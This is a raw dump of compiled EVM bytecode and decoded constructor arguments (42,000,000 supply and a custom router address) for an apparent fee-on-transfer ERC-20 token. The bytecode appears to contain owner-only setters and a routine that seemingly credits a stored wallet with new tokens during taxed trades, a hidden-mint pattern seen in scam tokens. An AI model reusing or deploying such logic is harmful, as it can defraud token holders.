f35b34801561027c57600080fd5b5061029760048036038101906102929190613467565b610807565b6040516102a4919061393c565b60405180910390f35b3480156102b957600080fd5b506102c26108e1565b6040516102cf9190613ab9565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906133cd565b610927565b005b34801561030d57600080fd5b50610316610a00565b6040516103239190613b5e565b60405180910390f35b34801561033857600080fd5b50610353600480360381019061034e91906134fa565b610a17565b604051610360919061393c565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b91906135b0565b610aca565b005b34801561039e57600080fd5b506103b960048036038101906103b491906133cd565b610b69565b005b3480156103c757600080fd5b506103d0610c42565b6040516103dd9190613ab9565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906133cd565b610c4a565b60405161041a9190613897565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906133cd565b61112e565b6040516104579190613ab9565b60405180910390f35b34801561046c57600080fd5b50610487600480360381019061048291906134ba565b611177565b005b34801561049557600080fd5b5061049e611267565b6040516104ab9190613897565b60405180910390f35b3480156104c057600080fd5b506104c9611290565b005b3480156104d757600080fd5b506104e06113e3565b6040516104ed9190613957565b60405180910390f35b34801561050257600080fd5b5061050b611475565b6040516105189190613ab9565b60405180910390f35b34801561052d57600080fd5b50610548600480360381019061054391906134fa565b61147f565b604051610555919061393c565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190613583565b61154c565b005b34801561059357600080fd5b506105ae60048036038101906105a991906134fa565b6115fe565b6040516105bb919061393c565b60405180910390f35b3480156105d057600080fd5b506105d961161d565b6040516105e69190613897565b60405180910390f35b3480156105fb57600080fd5b50610616600480360381019061061191906135b0565b611641565b005b34801561062457600080fd5b5061063f600480360381019061063a9190613583565b6116e0565b005b34801561064d57600080fd5b506106566117c9565b6040516106639190613897565b60405180910390f35b34801561067857600080fd5b50610693600480360381019061068e9190613427565b6117ef565b6040516106a09190613ab9565b60405180910390f35b3480156106b557600080fd5b506106d060048036038101906106cb91906135b0565b611876565b005b3480156106de57600080fd5b506106f960048036038101906106f491906135b0565b611959565b005b34801561070757600080fd5b50610722600480360381019061071d91906133cd565b6119f8565b005b34801561073057600080fd5b5061074b600480360381019061074691906134ba565b611bba565b005b60606001805461075c90613dce565b80601f016020809104026020016040519081016040528092919081815260200182805461078890613dce565b80156107d55780601f106107aa576101008083540402835291602001916107d5565b820191906000526020600020905b8154815290600101906020018083116107b857829003601f168201915b5050505050905090565b60006107f36107ec611caa565b8484611cb2565b6001905092915050565b6000601b54905090565b6000610814848484611e7d565b506108d684610821611caa565b6108d18560405180606001604052806028815260200161422b60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610887611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b611cb2565b600190509392505050565b6000610922610911600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661112e565b601b546127bd90919063ffffffff16565b905090565b61092f611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b390613a19565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000610ac0610a24611caa565b84610abb8560076000610a35611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b611cb2565b6001905092915050565b610ad2611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613a19565b60405180910390fd5b80601e8190555050565b610b71611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf590613a19565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600042905090565b6000610c54611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890613a19565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2c57600080fd5b505afa158015610d40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6491906133fa565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe91906133fa565b6040518363ffffffff1660e01b8152600401610e1b9291906138b2565b60206040518083038186803b158015610e3357600080fd5b505afa158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b91906133fa565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee857600080fd5b505afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2091906133fa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8257600080fd5b505afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba91906133fa565b6040518363ffffffff1660e01b8152600401610fd79291906138b2565b602060405180830381600087803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906133fa565b91505b81602260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61117f611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390613a19565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611298611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6060600280546113f290613dce565b80601f016020809104026020016040519081016040528092919081815260200182805461141e90613dce565b801561146b5780601f106114405761010080835404028352916020019161146b565b820191906000526020600020905b81548152906001019060200180831161144e57829003601f168201915b5050505050905090565b6000601e54905090565b600061154261148c611caa565b8461153d8560405180606001604052806025815260200161425360259139600760006114b6611caa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b611cb2565b6001905092915050565b611554611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d890613a19565b60405180910390fd5b80602260166101000a81548160ff02191690831515021790555050565b600061161261160b611caa565b8484611e7d565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611649611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90613a19565b60405180910390fd5b80601a8190555050565b6116e8611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c90613a19565b60405180910390fd5b80602260156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516117be919061393c565b60405180910390a150565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61187e611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190290613a19565b60405180910390fd5b600381111561194f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194690613a79565b60405180910390fd5b80601f8190555050565b611961611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e590613a19565b60405180910390fd5b80601c8190555050565b611a00611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8490613a19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611afd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af490613999565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611bc2611caa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613a19565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990613a99565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d89906139b9565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e709190613ab9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee590613a59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5590613979565b60405180910390fd5b60008211611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9890613a39565b60405180910390fd5b602260149054906101000a900460ff1615611fc857611fc1848484612865565b9050612752565b6000611fd33061112e565b90506000601e548210159050808015611ff95750602260149054906101000a900460ff16155b801561204f5750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120675750602260159054906101000a900460ff165b1561209157602260169054906101000a900460ff161561208757601e5491505b61209082612a38565b5b61211a846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600080612168611267565b73ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141580156121d657506121a6611267565b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156123df5761221760646122096121fa601054600b546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b9150600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122fd576122a7606461229961228a601054600b546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b915060006010541180156122be5750601a54601954105b156122f8576122eb60646122dd60105489612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506122f78882612cee565b5b6123de565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123dd5761238b606461237d61236e601854600c546127bd90919063ffffffff16565b89612c2990919063ffffffff16565b612ca490919063ffffffff16565b915060006018541180156123a25750601a54601954105b156123dc576123cf60646123c160185489612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506123db8882612cee565b5b5b5b5b600082111561264f57600091506000600267ffffffffffffffff81111561240957612408613eed565b5b6040519080825280602002602001820160405280156124375781602001602082028036833780820191505090505b509050888160008151811061244f5761244e613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050878160018151811061249e5761249d613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f89846040518363ffffffff1660e01b8152600401612537929190613ad4565b60006040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061258c919061353a565b9050806000815181106125a2576125a1613ebe565b5b6020026020010151846125b59190613d00565b935061260984600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b6126a186600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040516127419190613ab9565b60405180910390a360019450505050505b9392505050565b60008383111582906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190613957565b60405180910390fd5b50600083856127b09190613d00565b9050809150509392505050565b60006127ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612759565b905092915050565b60008082846128169190613c1f565b90508381101561285b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612852906139d9565b60405180910390fd5b8091505092915050565b60006128f0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127599092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061298582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a259190613ab9565b60405180910390a3600190509392505050565b6001602260146101000a81548160ff0219169083151502179055506000612a916002612a83601454612a7560115487612c2990919063ffffffff16565b612ca490919063ffffffff16565b612ca490919063ffffffff16565b90506000612aa882846127bd90919063ffffffff16565b9050612ab381612e7e565b60004790506000612ae4612ad36002601154612ca490919063ffffffff16565b6014546127bd90919063ffffffff16565b90506000612b226002612b1484612b0660115488612c2990919063ffffffff16565b612ca490919063ffffffff16565b612ca490919063ffffffff16565b90506000612b4d83612b3f60135487612c2990919063ffffffff16565b612ca490919063ffffffff16565b90506000612b7682612b6885886127bd90919063ffffffff16565b6127bd90919063ffffffff16565b90506000811115612bae57612bad600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613109565b5b6000821115612be457612be3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613109565b5b600083118015612bf45750600087115b15612c0457612c038784613154565b5b505050505050506000602260146101000a81548160ff02191690831515021790555050565b600080831415612c3c5760009050612c9e565b60008284612c4a9190613ca6565b9050828482612c599190613c75565b14612c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c90906139f9565b60405180910390fd5b809150505b92915050565b6000612ce683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613263565b905092915050565b601a5460195410612cfe57612e7a565b612d728160066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280790919063ffffffff16565b60066000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dec8160195461280790919063ffffffff16565b601981905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e719190613ab9565b60405180910390a35b5050565b6000600267ffffffffffffffff811115612e9b57612e9a613eed565b5b604051908082528060200260200182016040528015612ec95781602001602082028036833780820191505090505b5090503081600081518110612ee157612ee0613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f8357600080fd5b505afa158015612f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fbb91906133fa565b81600181518110612fcf57612fce613ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061303630602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611cb2565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161309a959493929190613b04565b600060405180830381600087803b1580156130b457600080fd5b505af11580156130c8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516130fd929190613ad4565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561314f573d6000803e3d6000fd5b505050565b61318130602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611cb2565b602160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161320a969594939291906138db565b6060604051808303818588803b15801561322357600080fd5b505af1158015613237573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061325c91906135dd565b5050505050565b600080831182906132aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a19190613957565b60405180910390fd5b50600083856132b99190613c75565b9050809150509392505050565b60006132d96132d484613b9e565b613b79565b905080838252602082019050828560208602820111156132fc576132fb613f21565b5b60005b8581101561332c578161331288826133b8565b8452602084019350602083019250506001810190506132ff565b5050509392505050565b600081359050613345816141e5565b92915050565b60008151905061335a816141e5565b92915050565b600082601f83011261337557613374613f1c565b5b81516133858482602086016132c6565b91505092915050565b60008135905061339d816141fc565b92915050565b6000813590506133b281614213565b92915050565b6000815190506133c781614213565b92915050565b6000602082840312156133e3576133e2613f2b565b5b60006133f184828501613336565b91505092915050565b6000602082840312156134105761340f613f2b565b5b600061341e8482850161334b565b91505092915050565b6000806040838503121561343e5761343d613f2b565b5b600061344c85828601613336565b925050602061345d85828601613336565b9150509250929050565b6000806000606084860312156134805761347f613f2b565b5b600061348e86828701613336565b935050602061349f86828701613336565b92505060406134b0868287016133a3565b9150509250925092565b600080604083850312156134d1576134d0613f2b565b5b60006134df85828601613336565b92505060206134f08582860161338e565b9150509250929050565b6000806040838503121561351157613510613f2b565b5b600061351f85828601613336565b9250506020613530858286016133a3565b9150509250929050565b6000602082840312156135505761354f613f2b565b5b600082015167ffffffffffffffff81111561356e5761356d613f26565b5b61357a84828501613360565b91505092915050565b60006020828403121561359957613598613f2b565b5b60006135a78482850161338e565b91505092915050565b6000602082840312156135c6576135c5613f2b565b5b60006135d4848285016133a3565b91505092915050565b6000806000606084860312156135f6576135f5613f2b565b5b6000613604868287016133b8565b9350506020613615868287016133b8565b9250506040613626868287016133b8565b9150509250925092565b600061363c8383613648565b60208301905092915050565b61365181613d34565b82525050565b61366081613d34565b82525050565b600061367182613bda565b61367b8185613bfd565b935061368683613bca565b8060005b838110156136b757815161369e8882613630565b97506136a983613bf0565b92505060018101905061368a565b5085935050505092915050565b6136cd81613d46565b82525050565b6136dc81613d89565b82525050565b60006136ed82613be5565b6136f78185613c0e565b9350613707818560208601613d9b565b61371081613f30565b840191505092915050565b6000613728602383613c0e565b915061373382613f41565b604082019050919050565b600061374b602683613c0e565b915061375682613f90565b604082019050919050565b600061376e602283613c0e565b915061377982613fdf565b604082019050919050565b6000613791601b83613c0e565b915061379c8261402e565b602082019050919050565b60006137b4602183613c0e565b91506137bf82614057565b604082019050919050565b60006137d7602083613c0e565b91506137e2826140a6565b602082019050919050565b60006137fa602983613c0e565b9150613805826140cf565b604082019050919050565b600061381d602583613c0e565b91506138288261411e565b604082019050919050565b6000613840601283613c0e565b915061384b8261416d565b602082019050919050565b6000613863602483613c0e565b915061386e82614196565b604082019050919050565b61388281613d72565b82525050565b61389181613d7c565b82525050565b60006020820190506138ac6000830184613657565b92915050565b60006040820190506138c76000830185613657565b6138d46020830184613657565b9392505050565b600060c0820190506138f06000830189613657565b6138fd6020830188613879565b61390a60408301876136d3565b61391760608301866136d3565b6139246080830185613657565b61393160a0830184613879565b979650505050505050565b600060208201905061395160008301846136c4565b92915050565b6000602082019050818103600083015261397181846136e2565b905092915050565b600060208201905081810360008301526139928161371b565b9050919050565b600060208201905081810360008301526139b28161373e565b9050919050565b600060208201905081810360008301526139d281613761565b9050919050565b600060208201905081810360008301526139f281613784565b9050919050565b60006020820190508181036000830152613a12816137a7565b9050919050565b60006020820190508181036000830152613a32816137ca565b9050919050565b60006020820190508181036000830152613a52816137ed565b9050919050565b60006020820190508181036000830152613a7281613810565b9050919050565b60006020820190508181036000830152613a9281613833565b9050919050565b60006020820190508181036000830152613ab281613856565b9050919050565b6000602082019050613ace6000830184613879565b92915050565b6000604082019050613ae96000830185613879565b8181036020830152613afb8184613666565b90509392505050565b600060a082019050613b196000830188613879565b613b2660208301876136d3565b8181036040830152613b388186613666565b9050613b476060830185613657565b613b546080830184613879565b9695505050505050565b6000602082019050613b736000830184613888565b92915050565b6000613b83613b94565b9050613b8f8282613e00565b919050565b6000604051905090565b600067ffffffffffffffff821115613bb957613bb8613eed565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c2a82613d72565b9150613c3583613d72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6a57613c69613e31565b5b828201905092915050565b6000613c8082613d72565b9150613c8b83613d72565b925082613c9b57613c9a613e60565b5b828204905092915050565b6000613cb182613d72565b9150613cbc83613d72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf557613cf4613e31565b5b828202905092915050565b6000613d0b82613d72565b9150613d1683613d72565b925082821015613d2957613d28613e31565b5b828203905092915050565b6000613d3f82613d52565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d9482613d72565b9050919050565b60005b83811015613db9578082015181840152602081019050613d9e565b83811115613dc8576000848401525b50505050565b60006002820490506001821680613de657607f821691505b60208210811415613dfa57613df9613e8f565b5b50919050565b613e0982613f30565b810181811067ffffffffffffffff82111715613e2857613e27613eed565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f6e657756616c7565206d757374203c3d20330000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6141ee81613d34565b81146141f957600080fd5b50565b61420581613d46565b811461421057600080fd5b50565b61421c81613d72565b811461422757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122059084075547cffbc766b4060467bbe5f4eae68b31e783117b56d6eb65bb5d88564736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000280de80000000000000000000000000bad89e0dac63941b23bd9b8bc0fcb0193d1234b2

-----Decoded View---------------
Arg [0] : supply (uint256): 42000000
Arg [1] : router (address): 0xBad89E0Dac63941B23Bd9B8BC0fCB0193d1234B2

